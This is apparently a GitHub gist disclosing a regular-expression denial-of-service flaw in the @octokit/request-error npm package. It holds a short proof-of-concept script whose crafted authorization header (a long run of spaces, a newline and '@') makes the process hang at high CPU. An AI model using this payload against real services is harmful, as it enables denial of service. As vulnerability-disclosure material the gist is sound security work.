Created
February 9, 2025 11:26
-
-
Save ShiyuBanzhou/e1203ad22701fd043b8501eb37676a0d to your computer and use it in GitHub Desktop.
ReDos in @octokit/request-error
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { RequestError } from "@octokit/request-error"; | |
const error = new RequestError("Oops", 500, { | |
request: { | |
method: "POST", | |
url: "https://api.github.com/foo", | |
body: { | |
bar: "baz", | |
}, | |
headers: { | |
authorization: ""+" ".repeat(100000)+"\n@", | |
}, | |
}, | |
response: { | |
status: 500, | |
url: "https://api.github.com/foo", | |
headers: { | |
"x-github-request-id": "1:2:3:4", | |
}, | |
data: { | |
foo: "bar", | |
}, | |
}, | |
}); | |
// 1. run npm i @octokit/request-error | |
// 2. run 'node poc.js' | |
// result: | |
// 3. then the program will stuck forever with high CPU usage |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment